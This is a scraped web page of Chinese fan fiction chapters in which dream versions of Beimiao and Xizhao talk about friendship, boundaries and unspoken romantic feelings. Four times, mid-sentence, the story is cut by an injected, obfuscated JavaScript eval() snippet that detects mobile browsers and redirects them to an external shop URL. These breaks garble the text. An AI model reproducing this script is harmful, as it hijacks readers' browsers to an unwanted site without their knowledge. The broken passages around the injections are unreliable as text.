西钊没有明说这个“你”是谁,是他认识的北淼,还是现在这个北淼。但他明白,这是他们最需要、最想听的一句话。反正都是梦了,为什么不让这个和他一样苦了十年的人尝到一点甜味呢? “北淼”在西钊这句话之后陷入良久的沉默,安静得看不到他的西钊差点以为他睡着了。直到天空的阳光变得暗淡,浮尘渐渐落下,“北淼”才缓缓开口:“你果然……和那个只会谈‘爱’的胆小鬼不一样。” “我就当是、你在夸我了。”西钊的脑袋往“北淼”的方向一歪,调侃道。 但“北淼”似乎没听见,自顾自地接着说:“界王告诉我,是这个世界拆散了我和小雪。因为我不够强、因为我会恐惧,所以才没能拉住她、所以才会逃跑。只有我不断地变强、变强,才能去保护我想要保护的人,得到我想要得到的东西。为了这个目的,我会清除一切阻碍、不惜一切代价。好人也好、坏人也罢,对我来说没区别。我也无所谓你们怎么看我。” 西钊抬眼往“北淼”的方向看了看,没来由地问:“那你……喜欢这个世界吗?” “没想过。” “那你、讨厌它吗?” “也没想过。” 西钊闻言,又把脑袋摆正,学着“北淼”整个人靠在墙上,语气温和:“……其实,我觉得你做得没有错。” “北淼”有一瞬间觉得自己耳朵出毛病了。大名鼎鼎的“雪獒侠”、铠甲勇士里的“支柱”,居然坐在一个影界大将的旁边,告诉他“你做的没错”。他又是一声嗤笑,连讽刺的话都懒得说。 但来自另一个世界的西钊意料之内地无视了“北淼”的反应,平静地继续:“你不为正义、也不为邪恶,说界王在利用你统治世界,倒不如说是你在利用界王找回妹妹。由始至终,你想要的也不过是……兑现一个迟到了十年的承诺。我见过的坏人有很多种,但老实说、你不是他们中的一员。你甚至……比我还要纯粹。” “北淼”被西钊的一番话说得很不自在:“……怎么,你又想用花言巧语替‘你’自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334650|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己劝我‘改邪归正’?” “我在夸你。”西钊直言不讳。 “得了吧。听你那个语气,说不定在夸你那边那个‘黑犀侠’。” “嗯,他也挺好的。” 给你脸你还真要啊! “北淼”忍不住翻了个白眼,但又禁不住好奇:“之前不还说‘我’排挤你呢吗?怎么,翻脸比翻书还快。那你来说说,那个‘我’怎么‘好’了?” 西钊长舒口气,闭上眼描摹他熟知的、北淼的轮廓,脑海里浮现出那个一直追逐他、不肯放开他的手的家伙,忍不住轻笑出声。形容的词句在脑海出现的同时就随之脱口而出: “他很勇敢、也很果断,既执着、又坚强,会为了达到目标如犀牛一样向前冲刺、突破重重阻碍。他对女孩子很好,是个不折不扣的绅士。他也是个‘胆小鬼’,而我就好像跟他有孽缘似的,每次他‘逃走’,倒霉的都是我。当然,我并不怪他,也不讨厌他。只是……不知道怎么跟他相处。 “一切结束之后,他试着和我做朋友,但我一心只想着‘离开’。于是他变得……很奇怪。他总是想‘补偿’我失去的那十年,不肯放我‘自由’。让我住进他家、穿他买的衣服、睡他准备的房间。你、应该理解,生活在影界的我们,不懂除了‘敌人’和‘战友’之外的关系,自然无法理解‘朋友’这个概念。他作为朋友,为我做了太多,偶尔也会让我觉得……迷茫。 “加入铠甲勇士的队伍,让我明白了什么是真正的‘伙伴’。我可以我的‘朋友’付出一切,哪怕是生命。但为什么、当他反过来为我这么做时,我会很抗拒呢?我不明白。” “北淼”没问西钊的“离开”是什么,只是冷不丁问了一句:“他喜欢你?” “什么是‘喜欢’?”就好像这部分知识在他脑中等于一片空白,西钊几乎是秒答。 ……当我没问。 “北淼”本想这么说,但转念间,他勾起嘴角,换了个说法:“就是朋友和朋友之间的喜欢啊。这很正常,我见过不少。你永远不知道他们会做出什么匪夷所思的行为。反正,够不够亲密,只是看朋友之间够不够熟而已。他那就是太想把你当兄弟了。” “但、我不觉得用到舌头的‘接吻’和咬我脖子一口算是……这个范围。坤中说这不是‘朋友’会做的事。”西钊转过身面向“北淼”,一本正经地解释。 听到另一个自己的行径,如果不是西钊突然转脸过来,“北淼”差点失去表情管理。玩得真野。他没说出口,思考片刻继续忽悠:“怎么,难道你觉得他对你有那个意思?想跟你……” “我不觉得。”西钊即刻打断“北淼”的推测,也没去想为什么这么急于结束这个话题。 “北淼”一声哼笑,耸耸肩:“所以你瞧,你们不是‘好兄弟’还能是什么?你在影界没经常出门乱跑吧?我可见得多了,你这些、都是别人‘玩儿剩下的’。他示好的方式真是蠢得丢‘我’脸。” “那要是你,你会怎么做?” “还怎么办?直接上啊。磨蹭那么久干什么,他还是个男人吗?他是转性了还是没意识到自己究竟在干什么?” “……?” 望着西钊迷惑又单纯的那张脸,“北淼”一言难尽地陷入沉思。从刚刚西钊的描述来看,他其实不觉得是前者。而当猜测落定在后者时,“北淼”的表情逐渐变为了七分同情以及三分嫌弃:七分给西钊,三分给那个脑子不开窍的‘自己’。 算了,你们就做一辈子“兄弟”吧。帮不了一点。 ———— “嗡——” 手机的震动声让西钊从未完的梦中迷迷糊糊地醒来,他拿起手机,发现是早晨的闹铃。他这才意识到,昨天从美真那回家之后,他就从下午一直睡到了今天早上。 “他是转性了还是没意识到自己究竟在干什么?” “北淼”最后的声音依旧在西钊耳边回响。他闭上眼,再次把自己裹进被子里,试图回到刚刚的梦中、问清那个问题的答案。但留给他的只有清醒的困倦、以及嗡鸣不停的闹钟,无论怎么尝试,都再没能入眠。 TBC ※一些OOC剧外: “西钊”:果然叫北淼的大概率都是混蛋呢。 “北淼”:?你再说一遍? “西钊”:你为什么把自己代入了大概率。 “北淼”:。你tm—— ( ↑省略k字打斗,喝茶远观的二人 ↓ ) 西钊:真是一物降一物。 北淼:是啊,负接触胜过零接触。 西钊:…… ※无人在意的细节: 西钊在讲故事时用的代词都是“你”, 但在描述北淼时用的代词都是“他”。 23. 告别或挽留 北淼回过神的时候,他已经把跑车开到了工地路边的停车位。他望向这个世界的北淼曾经终结“西钊”的地方,鬼使神差地往中央的空地走过去。他被惊醒时就有一种莫名的直觉:必须要到这里来、必须亲自到这个地方来看看。 西钊关上出租车的门,转头看向身旁不远处熟悉的工地门口。他推掉了今天的所有工作,打算跟随心里的某个“念头”前往此地寻求答案。虽然木已成舟,他无法改变已经发生的事实,但梦中未结的悬念依旧缠绕在他心头。 今天仍然是一个不见日光的阴天。围绕着施工地的大广场,他们在重叠的两个世界里相互穿行,无法看到彼此的身影,也听不到彼此的声音。但当他们在广场的中心擦肩而过,犹如静电般的触击,两人在那一瞬万分肯定感应到了对方的气息。他们下意识地回过头,却发现整个广场上只有他们自己。 是错觉吗? 他们一边想着,一边转身,在空间的交点面对面,同时向前微微抬手、缓缓伸指试探。 二人指尖相触的刹那,曾经消失在交错时空的“链接”被重新开启,碎片一般的记忆化作两支无形的箭矢、撕裂交叠的时空,穿透两人的身体。那一刻,他们看到的不再是梦,而是对方所处世界里所有的记忆——所有“他应得的”美好。 他们的手本能地想要跟随指尖的那一点触碰向前抓握、却同时抓了个空。他们的身影再次错开,只剩彼此熟悉的某种气息和味道残留在空气之中。 他们沉默着,不约而同地低头看向放才抬起的手。 北淼看到西钊来到了一个堪称“完美”的世界。没有苦难、没有挤兑,西钊不仅拥有了亲情、还收获了友情;他被认可、被接纳、被信任,可以说是西钊“本应拥有”的另一种人生。他无法想象西钊如果留下来,未来的生活会是多么幸福。 其实,他确实是希望、也认为西钊会喜欢那个世界的——他甚至找不出西钊不会留下的理由。但这个想法在脑海里出现的瞬间,北淼忽然有一种无法言喻的失落和不安。他知道,自己害怕了:如果西钊真的决定永远沉醉于理想乡,不再回到原本的世界,那怎么办? 可思维清晰的北淼不明白,这是一种“自相矛盾”的想法。他之前看到西钊和坤中在篮球场上非常“亲密”时,就有过同样的感觉。他希望西钊得到最好的、西钊也值得最好的,然而当西钊身边真的出现这些东西,他又会觉得不爽。这太奇怪了。 北淼想不通,难道自己其实打心底里还是不希望西钊过好日子的?这……不太可能吧?他一直都想把这个人从悬崖边拉回来,现在歪打正着把他拉到“梦幻城堡”里,让这个人有了选择幸福的机会,结果他自己开始慌了。 为什么? 北淼觉得,这三个字,好像在他脑子里等了他好长好长时间。 而在另一个世界里,西钊看到的,是北淼一帆风顺、没有错误与食言的人生:没有离开小雪、成为铠甲勇士的领袖、被大家支持和信任,家庭圆满、事业有成、名利双收。他看到了印象里北淼会想要的一切,他也明白,那才是北淼应该在的地方。 看到顺利长大的小雪,西钊就在想,北淼一定会留下来的,毕竟那是他最重要的妹妹、那个承诺也是他最大的心结。北淼没有离开那里的理由,他就应该和小雪、和大家好好地幸福下去。在那个人的生命中,里应存在更美好的东西。 至于他要追的那只风筝,或许就永远落在这里了吧,也没什么所谓,是吗? ……是吧? 西钊从夹克口袋里拿出路上买的巧克力饼干棒,拆盒拿出一根放进嘴里,“咔”地一声将它咬断。 模糊而零碎的记忆随着谷物的味道在口腔里散开逐渐变得清晰。他记起来了,最初他压在北淼身上时,北淼捧着他的脸给他的那个吻。他不知道为什么北淼从不提起那件事,甚至不像之后那样明目张胆,反而撒了个谎。他……甚至不知道为什么自己会对那个吻选择“回应”。也许是人类的生理性反应吧。 “咔”。西钊咬断了第二根。他想起北淼在梦中和他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334651|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相拥沉溺深海、想起北淼以自己的意志化身铠甲挡在他身前。他其实能感受到北淼如洪水一般猛烈的情感不断在他的脑子里横冲直撞,搅乱了他所有的想法。然而,等风浪真正平息,再去看残留下来的平静水泊,就会发现其中无比清澈纯粹。西钊忽然在想“北淼”那时说的话:也许,“水”确实不知道自己是透明的。 “咔”。西钊咬断了第三根。口中融化的巧克力带来的甜味愈发浓烈,让他又想起北淼“作弊”的游戏,以及在他脖子上留下的“痕迹”。西钊曾以为这些都可以解释为北淼对他的挑战和挑衅,但渐渐地、随着事态一步步变得更加复杂,他无法再界定和北淼之间的距离到底属于什么关系;也无法判断自己在这之中,处于哪个位置。他不适应、但不排斥;他不觉舒适、却并不厌恶。因为对方是北淼。 因为、是北淼吗? 西钊在想到这句话时,感觉有些微妙,仿佛落灰压底的宝物终于被拾起,发出温和的微光。 他们就像是受到“心灵感应”的影响,再次向前伸出手。这一次,他们不再是指尖相碰,他们于虚空之中贴上了对方的手心。几乎是出于本能,他们十指交握,感受彼此跨越时间与空间的温度。 那一刻,即使无法亲眼看见、即使身在完全不同的世界、甚至不知道彼此的距离到底有多远,他们也能感觉到对方真真实实地站在自己面前。而通过忽强忽弱的“链接”,他们试图将心中的想法毫无保留地传达。 “西钊,不要留下来。” “北淼,留在那里吧。” 但就在这心灵之声响起的同时,他们手中的触感突然消失,如同“链接”被什么不可抗力硬生生拉断,就连方才围绕在周围熟悉的气息也消失不见。无论他们再如何感知和寻觅,也在这片广场上找不出一丝“时空的缝隙”。 他们似乎都想叫出对方的名字,但最终都只是盯着掌心中残存的热量。 北淼扭头一拳打在承重柱上,西钊则默默地攥起拳,闭上了眼。 TBC 24. 玫瑰不留余香 如果不是小雪催促回家,北淼或许一整天都会待在工地上。他太过熟悉那种原本抓握在手中却又被迫失去的感觉,但比这更令人恐惧的是:你我都伸出了手,却只能穿过对方透明的身形。你知道他在,却怎么也抓不住。 终于坚持到和小雪道晚安,北淼把自己锁在房间、心烦意乱地倒在床上,抬起手臂遮住眼睛。他想,如果这是某个现实世界,那他究竟还有没有机会再见到西钊?如果这是个漫长的美梦,那他到底会不会依西钊的意愿“留下”?几小时前他问自己的“为什么”,最终还会不会得到答案? 无数细碎的思绪与疲乏的心神织成一张捕梦网,让连被子都没来得及盖的北淼迅速昏睡了过去。 ———— 现在的北淼已经很轻松就能分辨出他身处的是物质世界还是深层意识。所以当他再次发现自己被“困”在工地广场的时候,便省去了抬手往脸上来一巴掌的步骤。 他原本以为这又是上一个梦境的重现,说不定他又要和新的“西钊”解释一遍他是谁、他从哪儿来、他要干什么。但北淼似乎在空地不远处的大台阶上看到了某个熟悉的影子。随着他们之间的距离逐渐缩短,北淼也总算看清,那是之前在梦中和他相遇、被他领来这里坐着“聊天”的“西钊”。 “西钊”依旧背着金影石小挎包,坐在连接平台的最高一级台阶上。他的一只手往后撑,身子后仰,另一只手举在眼前。他的食指尖上落着一只黑色的蝴蝶,懒洋洋地舒展开薄翼,露出上面亮黄色的三角花纹。“西钊”微微歪头,神色冷淡,半眯眼睛全神贯注地盯着那蝴蝶缓慢地上下摆动翅羽。一直到北淼高大的影子从他上方压下,受惊的蝴蝶振翅飞走,他才抬起头,将视线聚焦在来人身上。 “……又是你啊,回来得真快。”一如既往淡漠却不失礼貌的假笑,“西钊”轻哼一声,挑了挑眉。 “什么叫‘又’。”北淼没什么闲聊的心情,一屁股坐在“西钊”旁边,也没管他们之间的距离有多远或者多近。 “西钊”收回撑在身后的手,随意将双肘搭在膝上:“我们在谈到‘流浪狗’的时候,你就消失了。行动力还真强。所以老实说,看到你再回来我很意外。我以为你已经带着‘流浪狗’回家了。” 北淼扭头瞥他一眼,冷冷调侃道:“你怎么知道我不是那个打算在这里了结你的‘北淼’?” “西钊”注意到北淼的目光,也偏头与他对视,一边打量、一边分析:“如果是他,过来的不会是‘北淼’,而是‘黑犀铠甲’。再说,你也没有他那种正义凌然的气场,相反,对比之前,你好像在为什么事感到困扰,这让你暴露了很多弱点。而那个家伙……从不会如此。” “这么明显吗……”北淼自嘲地目移,抬手撑着额头轻声叹息。 “我很好奇。”视线并未从北淼身上移开的“西钊”忽然问,“为什么要向陌生人暴露自己的软弱?以你刚刚的状态,如果和我动手,你并没有胜算。” 北淼在听到“陌生人”三个字时困惑地朝“西钊”看去,但转念一想又没觉得什么不对。这个“西钊”对他来说是陌生人没错,但为什么这个词用这张脸、这个声音说出来他心里就是堵得慌? “西钊”平静地观察了北淼好一会儿,仿佛看懂什么似的点点头:“原来如此,我明白了。” “……又给你明白什么了?”北淼的语气渐显烦躁。 “你示弱的对象并不是我,而是另一个‘我’。”不知道是出于看热闹不嫌事大的心态、还是因为交错时空的宿命感,“西钊”浅浅笑出声,“看来,他就是让你现在这么郁郁寡欢的原因。有点儿意思。不打算聊聊?” 北淼换了边手撑脑袋,把头扭到另一侧:“我跟他的私事,没什么好聊的。” “嗯,随你。” 二人在这之后沉默了许久许久,太阳在天上的位置一直没有发生变化,而“西钊”似乎也没有意识到这一点。北淼在胡思乱想、“西钊”在放空,他们之间没人觉得尴尬,就好像待在各自的小世界里互不打扰。 也不知过了多久,那只黑色的蝴蝶略过北淼眼前,让他瞬间回神。他的视线顺着蝴蝶飞行的轨迹望去,看到它稳稳地落在“西钊”伸出的食指尖上。背上亮黄色的三角花纹像极了黑犀铠甲的面甲纹路。看着“西钊”垂眸注视它的模样,北淼脑海中浮现出某个家伙抱着三花猫自言自语的影子。不知不觉间,话题就这么从北淼嘴里滑了出去。 “我不明白。”他说,“你希望一个人过得好,但为什么他真要有好日子过了,你又不乐意了呢?” 都不用北淼做什么解释,“西钊”也知道他在说谁,也知道问题出在哪。或许是因为“西钊”的过去活得太过纯粹简单,以至于他对人与人的情感拎得比谁都清楚。 他冷笑一声,连眼皮都没抬:“是不是当他过得好、但这不是你的功劳时,你就会这么想?” “……”北淼沉默了。 “西钊”也不着急继续,反而又把话茬抛给北淼:“是什么让你有这种想法?” 也许是同样一张脸带来的亲近感,北淼也不再遮遮掩掩:“他跟我一样,进入了一个对他来说非常‘完美’的世界。如果留下,他的未来会比原本幸福百倍。虽然在他的那个世界,我也死在了他手里,但我不觉得这会成为他‘不会留下’的理由。这对他来说,是一个极大的诱惑。问题就在于,我并不想他待在那里。我希望他回到原本的世界去,那个……给他带来不幸和痛苦的世界。” “西钊”没问“为什么”,而是问:“在你原本的世界,你为他做了什么?你可以具体一些。” 一说起这个北淼就来劲,身子往“西钊”那儿一转,伸手就开始掰手指:“陪他玩真心话大冒险、穿着铠甲给他去买烤串、带他买新衣服和日用品、帮他收拾出房间让他住、安抚他的噩梦、解开他的心结、他晕倒了送他去医院、解除他身上残留的异能量……” “西钊”屈指,黑色蝴蝶一起一落地停在北淼刚刚数数时拨出去的指尖:“你瞧,不论哪一种,其实都如你所愿,让他收获了美好和幸福。但你仔细想想,这两个世界唯一的不同是什么?” 唯一的不同?北淼盯着扑闪翅膀的羽蝶,疑惑地皱起眉。 “我曾经听过一句话:‘你既希望他手捧鲜花,又不希望别人手留余香’。” “‘赠人玫瑰,手有余香’……”北淼喃喃低语。 “你既希望他拥有美好,又希望这份美好来源于你、而不是来源于别人; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334652|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也希望,他在别人与你的恩惠之间选择的是你。你希望,他身上的所有幸福只属于你;你希望,他、只属于你。”停顿片刻之后,“西钊”手撑地面、侧身上前凑近北淼,微微勾起嘴角,“是你。北淼。它们唯一的不同,就是你。” 北淼惊讶地望向“西钊”有如深渊一般的双眸,花了好一段时间才意识到他话里的意思,即刻如触电一般甩手驱赶那只蝴蝶:“不,你误会了。我和他不是那种关系,我对他也没有那方面的想法。这只不过是‘吊桥效应’。等这些破事结束,一切都会回归正轨。” “是吗……”蝴蝶重新落在“西钊”的肩膀,他撤回身子,抬头看向前方,“我倒觉得、你这‘吊桥’走得太久,以至于桥面早已变得更宽、更安全,你依然以为自己还在摇摇欲坠的‘吊桥’上。你也别怪我说话不好听,我只是不知道该说你……没有自知之明、还是看不清现状。” “我很清楚自己在干什么。” “但你不知道‘为什么’。” “……” “是啊、为什么呢……”北淼身边传来一声叹息,他看到“西钊”托着下巴偏过脑袋、带着慵懒的笑意望着他,“为什么明明在哪里都是过得很好,却那么想他回到‘有你在’的世界?为什么都是‘花’,别人送的不行,只有你的可以?你说……你们都是‘朋友’,那、朋友过上梦想中的生活,难道不是一件好事吗?为什么一定要执着于‘让我来为他创造幸福’?你……在做那些事情的时候,真的有想过这些吗?” “从来没想过,也不需要。我想做,就这么做了。”北淼依旧在试图为自己做最后的辩解,然而他自己也明白,“西钊”方才的理论能够解释他的“为什么”、能够将一切逻辑断层修补回闭环,他再如何掩饰,都只会显得格外苍白。 他似乎听见“西钊”小声叹了口气:“他有你这样的……‘朋友’,真幸运。” 是错觉吗?“西钊”嘴里的“朋友”两个字语气听起来怪怪的。 不过说实在的,北淼其实不知道他对于西钊的这种情感是什么时候开始发生微妙改变的,他也并不想知道。或许在他踏上“吊桥”之前就有了苗头,又或许是他再也没能从那座桥上下来。他理解了“为什么”又如何?西钊这个边界感都模糊不清的家伙又哪里会懂?这从一开始就是场“一厢情愿”。 当然,对北淼来说,这些都这不重要。现在重要的是…… “……随便吧。反正,我要带他回家。” “西钊”歪歪脑袋:“那这个世界对你而言,不也是一种梦想中的幸福吗,为什么不留下来?” “因为你说过,‘我不是他’。他是个‘好人’,我是个混蛋。我不会选择以这样的方式逃避我的过去、我的错误。小雪是我的承诺,西钊是我的责任,不论哪一个、不论用什么样的方式,我都会对他们——那个真正的他们——负责到底。” “这样啊。那你要怎么做?” “……还不清楚。” “噗。” “……” ———— 夜深人静,月亮高挂天空。一只带着几道漆黑折角花纹的白色蝴蝶悄然落在北淼房间的窗口,优雅地舒展它漂亮的薄翼。 TBC 25. 只因是你 西钊是被踹醒的。 他睁开眼时,“北淼”放大的脸突兀地出现在面前,吓得西钊本能往后躲,脑袋不轻不重地磕到背后的柱子上,惹得他倒吸一口凉气。他捂着后脑坐稳,抬起另一只手把手撑柱子弯腰看他的“北淼”推远。 “北淼”笑着后退几步,双手又插回裤袋里:“哟,我们的‘大少爷’睡醒了?以前,光顾着揍‘你’,都没怎么注意过这张脸。没想到、仔细瞧瞧,还挺养眼。倒也可以理解、为什么那个‘我’这么想把你搞到手了。” “我不明白你在说什么……”西钊还有些迷糊,倚着柱子慢慢站起来,微微甩甩脑袋试图让自己更加清醒。 理清现状没有耗费他太多时间。毫无疑问,听这个“北淼”的语气和说辞,他又回到了上次的梦境。他不太记得自己在哪里睡着、又是怎么睡着的,最近发生了太多事,让他总是很难分清虚实。 但西钊清楚地记得当时在广场上与北淼短暂的“链接”。北淼也一定也看到了这里的世界、看到了这副身体的记忆。西钊很困惑,他不太明白为什么北淼会希望他离开这里。这与西钊自己愿不愿意留下无关,他只是不懂一心只想让他好的北淼为什么觉得这里“不够好”。回到原来的世界和现在有什么区别吗? “喂。没睡醒?”见西钊半天没反应,还在原地发呆,“北淼”握拳给西钊的肩膀来了一下,将他从胡思乱想中拽回。 西钊抬起头瞥一眼“北淼”,又目移至别处,缓缓摇头:“我没事。只是有些问题、想不通。” “心灵导师是另外的价钱。” “得了吧,就你这水平,倒贴我都不要。”西钊苦笑不得地闭上眼,“而且,上次我们的话题还没结束,你可别想从我这里讹到一分钱。” “哦?”闻言,“北淼”眉毛一挑,环抱手臂往西钊的方向走了几步,倾身又把脑袋凑过去,歪头笑道,“‘上次的话题’?噢——就是‘他不知道他在追你,你不知道什么是追’那件事、对吗?” “你怎么跟他一样,总是说一些、莫名其妙的话……”西钊眉头微皱,困惑的表情挤在眉心,“我只是不明白,他为什么希望我离开这里;不明白人和人之间、那些关系的界限;不明白自己在这其中到底算什么、到底在想什么;也不明白、你说他‘没有意识到’是什么意思……” “北淼”保持着抱臂的姿势,顺势倚在与西钊相邻的柱子一侧:“你怎么一下子冒出那么多乱七八糟的问题?这让我觉得你的脑子也和那些家伙一样不好使。” 西钊看向“北淼”,刚开口想说些什么,然而一个音节都还没发出来,“北淼”就先一步把话茬抢了去,但似乎并没有按顺序解答西钊的疑问:“我说,你干嘛一定要把什么‘界限’分得那么清?你知不知道、一个东西如果有了‘定义’,它就会变得‘模糊’,你反而看不清它的本质。这种东西,说白了就是‘感觉’。这十年里,我从来只凭自己的感觉做事,也从来没觉得自己做错过。” “但是,如果不分清楚,不就乱套了吗?”西钊没明白“北淼”这番话的意思,“你不能对朋友做过于亲密的事情,如果‘越界’,对朋友来说是一种冒犯。” “北淼”没忍住嗤笑了一声:“天哪……看来、是我高估你了,你和那个‘镀金’的家伙一样蠢。我问你,你活了这么久,就从你有‘朋友’开始,你对哪个朋友干过什么‘越界’的事情?” 西钊越来越听不明白了:“这就是问题所在。我还不知道什么行为属于越……???” 西钊的“界”字还没从嘴里冒出来,“北淼”就已经伸手拽过他的黑色高领吻上了他的嘴唇——准确地说,是咬。西钊在唇角被“北淼”咬破时抬手按着他的胸口把人用力推开,愠怒又无措地用手背蹭了一下嘴,抹掉上面的血渍。 “‘北淼’,你干什么?!” “北淼”舔舔嘴唇,无辜地摊开手:“看,就是这样。这就是当你做了‘越界’的事情时,别人会有的反应。讶异、惊吓、不解、手足无措、甚至还会有些……失态。当然,也不是非得‘做了’才会有这样的反应,哪怕是耳朵听到了,也会如此。” 西钊第一次意识到“北淼”比北淼更不要脸,他不知道这是件好事还是坏事:“……那你大可以直接告诉我,而不是‘亲身实践’。” “北淼”大胆地抬手迅速用拇指擦过西钊刚刚止住血的唇角,在西钊一拳打过来之前知趣地收回手:“对比起来,这更直观、也让你印象更加深刻,不是吗?所以我才很好奇,既然你对关系的界限这么模糊,那你身边的朋友怕不是都要‘遭殃’。” “我没你想的那么……”在这方面几乎完全陌生的西钊一下子想不出什么契合的形容词,顿了一下继续说,“类似的事我只和另一个‘你’做过。但坤中告诉我这属于‘越界’行为,他的反应和刚刚的我差不多。” “你用的是‘和’,而不是‘对’。”寥寥几句,“北淼”就发现了重点,戏谑道,“这就说明……‘越界’的事,你主动对他做过、他也主动对你做过。难道你们都毫不犹豫推开了对方、就像你毫不留情把我踹开一样?” 这一次,西钊沉默了很久。 “……没有。我唯一一次让他停下,是因为我在害怕、害怕接下来会发生什么。” 他听到“北淼”冷笑一声,仿佛在说“我就知道是这样”。“北淼”叹口气,重新抱着手臂倚靠承重柱,耸了耸肩:“那这‘界限’还不明显吗?同样的事,你们之间做,就跟过家家似的;但在别人眼里,和‘朋友’八竿子打不着关系。我真搞不懂你怎么到现在都想不明白。” 西钊没说话,抓着自己的手臂低下头。 “至于……你所谓的‘对自己的定位’,我看、也不用我多说了吧。”也没管西钊理没理他,“北淼”微微歪头,愉悦地欣赏西钊那副略显忧郁的模样,“如果你还有那玩意儿的话,问问自己的良心,把那家伙做过的好事坏事翻出来。它们给你带来的感受、他想从你这里拿走什么、他拿没拿到、你有没有给他、给了多少,只有你自己最清楚。” 是,我知道。 他抓住了我的手。 我没有将他松开。 “但更多时候、我回应他的只有沉默。这并不代表我对某些行为的认同, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334653|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不是他对我得寸进尺的理由。” “北淼”摇摇头,无奈地一边叹气一边嘲讽道:“说你没脑子你还真就没脑子。这叫‘默许’,不叫‘沉默’。‘沉默’是指:你不说话,但你会反抗。我把你嘴堵上,你还是能给我一拳。但我猜,你没舍得给‘我’那张帅气的脸来那么一下。所以,不是那家伙得寸进尺,小子,是你‘让’他得寸进尺。哎……有时候、我真想为另一个‘我’打抱不平,遇见你这么个迟钝又无知的家伙。” 莫名其妙挨了一顿骂的西钊觉得心口有些发闷,没好气地反问:“我记得,‘意识不到自己在做什么’这句话也是你形容他的。这回、该轮到我说他‘迟钝’了吧?” “北淼”不动声色地朝西钊翻个白眼:“那我觉得,还是另一个‘我’比较惨。他是‘送你一束玫瑰,但不懂玫瑰的花语,只是想看见你高兴’,而你,你是‘抱着一束他送的玫瑰,转头给每个兄弟一人分一支,还觉得自己特大方’的那种大傻子。自己琢磨去吧。” “……” 也不知是不是受到“北淼”的影响,西钊感觉自己就好像在做最后的挣扎和辩解:“好。就算是你说的那样,那怎么解释、他不愿意我留在这里,而是希望我回到原来的世界?如果‘只是想看见我高兴’,这里、还不够好吗?” “北淼”非常自然地接话:“所以不只是‘想看见你高兴’啊。怎么,你觉得他不会跟你一起回去?” 西钊沉默片刻:“他也有他的‘理想乡’。我不确定……” “你要是觉得、他会留在那个‘梦幻城堡’,放弃原本的生活、放弃你、放弃小雪,那我刚刚说的那些话都等于没说。”又是一声长叹,“北淼”走到现在身边,语气不再有之前的调笑和戏谑,反而严肃了不少,“再说……这不是你的人生,它配不上你。” 西钊惊讶地抬头,与“北淼”对视。 他看到“北淼”扬了扬嘴角,一声轻笑:“我认识的那个雪獒侠,就是一尊‘泥菩萨’,身上镀了层金、就觉得自己好像有多高贵、多正义。这种没经过淬炼锻冶的‘金’,我连当做敌人的兴趣都没有。而你不同。你以为留在这里能改变你悲惨的过去吗?能抹除你做过的一切吗?没经过地狱般的打磨、你哪儿来的蜕变?拜托,如果你也跟他一样只会自欺欺人,那你是个强者这件事,我可真是看走眼了。” “虽然我知道、你在夸我,但……怎么听起来像在骂我。” “北淼”不屑地哼了一声:“那是另外的价钱。” 西钊被他成功逗笑,心口那种发闷的感觉逐渐消失不见,取而代之的是前所未有的舒畅。就像“北淼”说的那样,他没有得到任何关于人与人之间关系的“定义”,但从前对他来说模糊又凌乱的东西此刻正慢慢变得清晰。 那是一种微妙的“感觉”,或许一直存在于心底,从未被察觉。而在今天这个荒诞的梦里,它被“北淼”猝不及防的临门一脚、狠狠地踹了出来。 “……谢谢你。” 这是西钊唯一能给“北淼”的东西。 因为剩下的,他要留给另一个人。 TBC 26. 指尖梦 ———— 据说,两个熟睡的人指尖相触,就会进入彼此的梦境。 ———— 北淼在下坠。 他的眼前是被拉长的风景,天际线模糊成一条虚影。身体被呼啸的风无情撕扯,耳边充斥着尖锐的杂音。他能感觉到自己每一寸肌肉的紧绷,一点点地将他逼至极限。 明明前一秒还在面对“西钊”的调侃,下一秒梦境就开始碎裂、崩坏。裂缝迅速蔓延到他脚下,在他能逃离之前就将他拽进了这无穷无尽的天空地狱。 